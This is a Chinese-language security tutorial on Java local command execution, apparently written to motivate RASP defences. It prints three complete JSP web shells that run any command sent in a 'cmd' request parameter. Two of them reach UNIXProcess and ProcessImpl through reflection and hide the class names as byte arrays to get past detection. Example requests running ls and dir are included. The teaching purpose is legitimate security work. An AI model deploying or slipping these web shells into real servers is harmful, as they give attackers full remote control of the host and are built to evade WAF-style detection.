本地命令执行漏洞

攻击者一旦可以在服务器中执行任意本地系统命令就意味着服务器已被非法控制,在Java中可用于执行系统命令的方式有API有:java.lang.Runtimejava.lang.ProcessBuilderjava.lang.UNIXProcess/ProcessImpl

1. Java本地命令执行测试

示例-存在本地命令执行代码(java.lang.Runtime):

  1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2. <%@ page import="java.io.InputStream" %>
  3. <pre>
  4. <%
  5. Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
  6. InputStream in = process.getInputStream();
  7. int a = 0;
  8. byte[] b = new byte[1024];
  9. while ((a = in.read(b)) != -1) {
  10. out.println(new String(b, 0, a));
  11. }
  12. in.close();
  13. %>
  14. </pre>

攻击者通过向 cmd 参数传入恶意的代码即可在服务器上执行任意系统命令,请求:http://localhost:8000/modules/cmd/cmd.jsp?cmd=ls,如下图:

image-20200920232032191

由于传入的cmd参数仅仅是一个两位的英文字母,传统的WAF基本都不具备对该类型的攻击检测,所以如果没有RASP的本地命令执行防御会导致攻击者可以在服务器中执行恶意的命令从而控制服务器。

2. 深层调用命令执行测试

示例-存在本地命令执行代码(java.lang.UNIXProcess):

  1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2. <%@ page import="java.io.*" %>
  3. <%@ page import="java.lang.reflect.Constructor" %>
  4. <%@ page import="java.lang.reflect.Method" %>
  5. <pre>
  6. <%
  7. String[] cmd = request.getParameterValues("cmd");
  8. if (cmd != null) {
  9. Class clazz = Class.forName(new String(new byte[]{
  10. 106, 97, 118, 97, 46, 108, 97, 110, 103, 46,
  11. 85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115
  12. }));
  13. Constructor constructor = clazz.getDeclaredConstructors()[0];
  14. constructor.setAccessible(true);
  15. byte[][] args = new byte[cmd.length - 1][];
  16. int size = args.length; // For added NUL bytes
  17. for (int i = 0; i < args.length; i++) {
  18. args[i] = cmd[i + 1].getBytes();
  19. size += args[i].length;
  20. }
  21. byte[] argBlock = new byte[size];
  22. int i = 0;
  23. for (byte[] arg : args) {
  24. System.arraycopy(arg, 0, argBlock, i, arg.length);
  25. i += arg.length + 1;
  26. }
  27. byte[] bytes = cmd[0].getBytes();
  28. byte[] result = new byte[bytes.length + 1];
  29. System.arraycopy(bytes, 0, result, 0, bytes.length);
  30. result[result.length - 1] = (byte) 0;
  31. Object object = constructor.newInstance(
  32. result, argBlock, args.length,
  33. null, 1, null, new int[]{-1, -1, -1}, false
  34. );
  35. Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
  36. inMethod.setAccessible(true);
  37. InputStream in = (InputStream) inMethod.invoke(object);
  38. int a = 0;
  39. byte[] b = new byte[1024];
  40. while ((a = in.read(b)) != -1) {
  41. out.println(new String(b, 0, a));
  42. }
  43. in.close();
  44. }
  45. %>
  46. </pre>

示例-存在本地命令执行代码(java.lang.ProcessImpl):

  1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2. <%@ page import="java.io.InputStream" %>
  3. <%@ page import="java.lang.reflect.Constructor" %>
  4. <%@ page import="java.lang.reflect.Method" %>
  5. <%@ page import="java.util.Scanner" %>
  6. <%
  7. String str = request.getParameter("cmd");
  8. if (str != null) {
  9. Class clazz = Class.forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108}));
  10. Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
  11. constructor.setAccessible(true);
  12. Object object = constructor.newInstance(str.split("\\s+"), null, "./", new long[]{-1L, -1L, -1L}, false);
  13. Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
  14. inMethod.setAccessible(true);
  15. InputStream in = (InputStream) inMethod.invoke(object);
  16. Scanner s = new Scanner(in).useDelimiter("\\A");
  17. out.println("<pre>");
  18. out.println(s.hasNext() ? s.next() : "");
  19. out.println("</pre>");
  20. out.flush();
  21. out.close();
  22. }
  23. %>

这部分对于 linux 和 windows 系统的攻击代码有所差异,但原理上一致。

Linux系统,请求:http://localhost:8000/modules/cmd/linux-cmd.jsp?cmd=ls,如下图:

image-20200920232507347

Windows系统,请求:http://localhost:8000/windows-cmd.jsp?cmd=cmd%20/c%20dir%20,如下图:

image-20200920233748774